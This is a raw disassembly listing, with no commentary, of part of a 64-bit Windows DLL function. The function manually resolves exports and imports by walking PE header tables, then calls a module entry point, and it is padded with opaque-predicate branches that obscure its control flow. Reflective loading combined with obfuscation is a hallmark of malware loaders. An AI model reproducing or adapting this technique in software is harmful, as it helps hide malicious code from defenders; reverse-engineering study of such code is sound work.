lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000249e
movsxd rax, dword [rdx + 0x3c]
mov ecx, dword [rdx + rax + 0x88]
mov r8d, dword [rdx + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002255
mov eax, dword [0x180020a90]
lea ebp, [rax - 1]
imul ebp, eax
and ebp, 1
jne 0x1800024a0
add r8, rdx
mov esi, dword [rdx + rcx + 0x20]
mov ecx, dword [rdx + rcx + 0x24]
add rsi, rdx
add rcx, rdx
mov ebp, dword [rsi]
add rbp, rdx
mov rdi, r13
movzx ebx, byte [rdi]
movzx eax, byte [rbp]
test bl, bl
je 0x180002285
add rdi, 1
add rbp, 1
cmp bl, al
je 0x18000226e
cmp bl, al
je 0x18000211e
add rsi, 4
add rcx, 2
jmp 0x180002266
cmp ecx, 0xa
jl 0x1800022a4
test edx, edx
jne 0x1800024aa
mov rdx, qword [rsp + 0x58]
mov ebp, dword [rdx]
mov edx, dword [rdx + 0x10]
add rbp, r15
mov qword [rsp + 0x60], rbp
add rdx, r15
mov qword [rsp + 0x40], rdx
mov rdx, qword [rsp + 0x60]
mov rdx, qword [rdx]
test rdx, rdx
je 0x18000248f
mov rax, qword [rsp + 0x70]
add rax, rdx
test rdx, rdx
movzx r12d, dx
cmovns r12, rax
jmp 0x1800022fe
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r14
mov rdx, r12
call rsi
mov rcx, qword [rsp + 0x40]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x48]
call fcn.180002520
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x180002329
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024a2
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002357
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800024a4
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
mov rdi, qword [rsp + 0x68]
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x180002389
add rdi, 1
add rbp, 1
cmp al, bl
je 0x180002372
cmp al, bl
je 0x180002397
add rdx, 4
add rcx, 2
jmp 0x180002368
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rcx, r14
mov rdx, r12
call rsi
mov rcx, qword [rsp + 0x40]
mov qword [rcx], rax
mov eax, dword [0x180020a74]
mov ecx, dword [0x180020a78]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180002470
test edx, edx
je 0x180002470
mov rcx, qword [rsp + 0x48]
call fcn.180002520
mov rsi, rax
cmp dword [0x180020a84], 0xa
jl 0x180002402
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024a6
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000242c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800024a8
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov ebp, dword [rdx]
add rbp, rsi
mov rdi, qword [rsp + 0x68]
movzx eax, byte [rdi]
movzx ebx, byte [rbp]
test al, al
je 0x18000245e
add rdi, 1
add rbp, 1
cmp al, bl
je 0x180002447
cmp al, bl
je 0x1800022e4
add rdx, 4
add rcx, 2
jmp 0x18000243d
add qword [rsp + 0x60], 8
add qword [rsp + 0x40], 8
cmp ecx, 0xa
jl 0x1800022be
test edx, edx
je 0x1800022be
jmp 0x1800024aa
add qword [rsp + 0x58], 0x14
jmp 0x1800020ef
jmp 0x18000249a
jmp 0x18000249c
jmp 0x18000249e
jmp 0x1800024a0
jmp 0x1800024a2
jmp 0x1800024a4
jmp 0x1800024a6
jmp 0x1800024a8
jmp 0x1800024aa
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
add rax, r15
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002502
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002502
mov rsi, qword [rsp + 0x50]
mov eax, dword [rsi + 0x28]
add rax, r15
call rax
mov eax, dword [rsi + 0x28]
add rax, r15
call rax
cmp dword [0x180020a78], 0xa
jl 0x180002502
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800024d8
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret